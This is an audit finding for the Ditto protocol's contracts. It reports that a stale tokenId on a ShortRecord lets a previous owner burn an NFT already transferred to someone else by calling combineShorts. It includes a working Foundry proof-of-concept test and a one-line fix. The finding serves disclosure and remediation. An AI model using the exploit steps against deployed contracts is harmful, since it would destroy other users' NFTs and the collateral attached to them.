Vulnerability Details
When a NFT is transferred to another user, the tokenId is not cleared from the original ShortRecord. Although this ShortRecord is marked as cancelled, it could be reused if it is associated with a partially filled short order.
function matchlowestSell(
address asset,
STypes.Order memory lowestSell,
STypes.Order memory incomingBid,
MTypes.Match memory matchTotal
) private {
if (lowestSell.shortRecordId > 0) {
LibShortRecord.fillShortRecord(
asset,
lowestSell.addr,
lowestSell.shortRecordId,
status,
shortFillEth,
fillErc,
matchTotal.ercDebtRate,
matchTotal.zethYieldRate
);
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/facets/BidOrdersFacet.sol#L254-L294
The attacker can then call the combineShorts function with the shortId which will lead to burning of this NFT.
function combineShorts(address asset, uint8[] memory ids)
external
isNotFrozen(asset)
nonReentrant
onlyValidShortRecord(asset, msg.sender, ids[0])
{
if (currentShort.tokenId != 0) {
if (firstShort.tokenId == 0) {
revert Errors.FirstShortMustBeNFT();
}
LibShortRecord.burnNFT(currentShort.tokenId);
}
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/facets/ShortRecordFacet.sol#L117-L169
POC Test
@@ -453,6 +453,37 @@ contract ERC721Test is OBFixture {
diamond.ownerOf(2);
}
+ function test_PrevOwnerCanDeleteNFTByCombiningShorts() public{
+ createShortAndMintNFT();
+
+ //first half of the short order is filled
+ fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT/2, sender);
+ fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
+
+ //mint nft and transfer short record
+ vm.startPrank(sender);
+ diamond.mintNFT(asset, Constants.SHORT_STARTING_ID + 1);
+ diamond.safeTransferFrom(sender, address(0xBEEF), 2, "");
+ vm.stopPrank();
+
+ assertEq(diamond.ownerOf(2), address(0xBEEF));
+ assertEq(diamond.balanceOf(address(0xBEEF)), 1);
+
+ //fill the other half of the short order to activate the same short record
+ fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT/2, sender);
+
+ vm.prank(sender);
+ combineShorts({
+ id1: Constants.SHORT_STARTING_ID,
+ id2: Constants.SHORT_STARTING_ID + 1
+ });
+
+ //nft 2 previously transferred to 0xBEEF is burned
+ vm.expectRevert(abi.encodeWithSelector(Errors.ERC721NonexistentToken.selector, 2));
+ diamond.ownerOf(2);
+ assertEq(diamond.balanceOf(address(0xBEEF)), 0);
+ }
+
function test_CombineShort_TwoShortsOneNFT() public {
//@dev first short has nft, second does not
createShortAndMintNFT();
Impact
In case the access to the ShortRecord is solely via the NFT (some contract implementations?) this will result in loss of the collateral for the transferred address.
Recommendations
Clear the tokenId when an NFT is transferred
@@ -129,6 +129,7 @@ library LibShortRecord {
if (short.status == SR.Cancelled) revert Errors.OriginalShortRecordCancelled();
if (short.flaggerId != 0) revert Errors.CannotTransferFlaggedShort();
+ short.tokenId = 0;
deleteShortRecord(asset, from, nft.shortRecordId);
uint8 id = createShortRecord(
